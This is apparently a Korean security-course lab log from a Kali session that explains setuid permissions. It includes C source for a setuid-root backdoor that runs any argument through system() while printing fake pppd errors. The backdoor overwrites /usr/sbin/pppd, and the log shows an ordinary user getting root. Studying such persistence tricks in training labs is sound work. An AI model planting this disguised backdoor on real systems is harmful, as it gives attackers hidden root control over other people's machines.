-rw-r--r-- 1 root root 90 Mar 29 03:58 backdoor.c 파일 소유자(root)의 권한을 일시적으로 가지게 됨
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ id
uid=1002(gildong) gid=1002(gildong) groups=1002(gildong),100(users)
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ./backdoor
bash: ./backdoor: Permission denied
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ./backdoor_4744
bash: ./backdoor_4744: Permission denied
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ./backdoor_4755
# id
uid=0(root) gid=0(root) groups=0(root),100(users),1002(gildong)
# exit
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ id
uid=1002(gildong) gid=1002(gildong) groups=1002(gildong),100(users)
파일 소유자가 root 사용자이고, setuid 권한을 가진 파일을 검색
┌──(root㉿kali)-[/home/kali/LAB]
└─# find / -user root -perm -4000
:
/usr/sbin/pppd
:
┌──(root㉿kali)-[/home/kali/LAB]
└─# cd /usr/sbin
┌──(root㉿kali)-[/usr/sbin]
└─# ls -l pppd
-rwsr-xr-x 1 root root 16160 Mar 28 19:16 pppd
┌──(root㉿kali)-[/usr/sbin]
└─# pppd --help
pppd version 2.4.9
Usage: pppd [ options ], where options are:
<device> Communicate over the named device
<speed> Set the baud rate to <speed>
<loc>:<rem> Set the local and/or remote interface IP
addresses. Either one may be omitted.
asyncmap <n> Set the desired async map to hex <n>
auth Require authentication from peer
connect <p> Invoke shell command <p> to set up the serial line
crtscts Use hardware RTS/CTS flow control
defaultroute Add default route through interface
file <f> Take options from file <f>
modem Use modem control lines
mru <n> Set MRU value to <n> for negotiation
See pppd(8) for more options.
┌──(root㉿kali)-[/usr/sbin]
└─# pppd
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.
backdoor.c 파일을 수정
┌──(root㉿kali)-[/usr/sbin]
└─# cd /home/kali/LAB
┌──(root㉿kali)-[/home/kali/LAB]
└─# gedit backdoor.c
#include <stdio.h>
int main(int argc, char *argv[]) {
char exec[100];
setuid(0);
setgid(0);
sprintf(exec, "%s 2>/dev/null", argv[1]);
system(exec);
printf("pppd: The remote system is required to authenticate itself\n");
printf("pppd: but I couldn't find any suitable secret (password) for it to use to do so.:\n");
return 0;
}
┌──(root㉿kali)-[/home/kali/LAB]
└─# gcc -o backdoor backdoor.c
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod 4755 backdoor
┌──(root㉿kali)-[/home/kali/LAB]
└─# ./backdoor
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:
backdoor 파일을 pppd 파일로 위장
┌──(root㉿kali)-[/home/kali/LAB]
└─# cp /usr/sbin/pppd /usr/sbin/pppd.bak ⇐ 기존 파일을 백업
┌──(root㉿kali)-[/home/kali/LAB]
└─# mv backdoor /usr/sbin/pppd ⇐ backdoor 파일을 pppd 파일로 덮어쓰기
일반 사용자(gildogn)가 pppd(=backdoor)를 실행
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd "whoami"
root
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd "mkdir ./BACKDOOR"
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l
total 40
drwxr-xr-x 2 root root 4096 Mar 29 04:22 BACKDOOR
-rwsr--r-- 1 root root 16056 Mar 29 04:02 backdoor_4744
-rwsr-xr-x 1 root root 16056 Mar 29 04:02 backdoor_4755
-rw-r--r-- 1 root root 393 Mar 29 04:18 backdoor.c
-rw-rwsrw- 1 kali kali 0 Mar 29 03:41 setgid
-rwsrw-rw- 1 kali kali 0 Mar 29 03:41 setuid
-rw-rw-rwt 1 kali kali 0 Mar 29 03:41 sticky
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd "id"
uid=0(root) gid=0(root) groups=0(root),100(users),1002(gildong)
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:
#CSP #SK shieldus Rookies 19기 #SK 쉴더스 루키즈 #cor #ssop #클라우드 #파일 및 디렉터리 관리